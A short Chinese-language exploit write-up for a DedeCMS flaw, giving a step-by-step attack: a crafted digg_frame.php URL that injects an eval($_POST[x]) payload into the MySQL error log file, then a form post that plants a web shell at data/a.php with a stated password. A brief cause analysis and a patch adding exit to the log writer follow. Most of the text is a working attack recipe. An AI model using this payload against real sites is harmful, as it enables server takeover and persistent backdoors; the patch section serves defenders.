假设域名是:www.abc.com 攻击步骤如下: 1. 访问网址: http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?> 可看见以下错误信息 注入成功 2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。 int(3) Error: Illegal double \’1024e1024\’ value found during parsing Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?> 3. 执行附件地址:dede.rar里的文件 test.html,注意 form 中 action 的地址是 <form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”> 按确定后的看到第2步骤的信息表示文件木马上传成功。 木马网址:http://www.abc.com/data/a.php 密码:2006888 漏洞分析: 利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。 解决方案: 打开文件 include/dedesql.class.php 找到代码 @fwrite($fp, ‘<’.\’?php’.”\\r\\n/*\\r\\n{$savemsg}\\r\\n*/\\r\\n?”.”>\\r\\n”); 替换代码 @fwrite($fp, ‘<’.\’?php’.”\\r\\nexit;\\r\\n/*\\r\\n{$savemsg}\\r\\n*/\\r\\n?”.”>\\r\\n”); 清空 data/mysql_error_trace.php 文件内容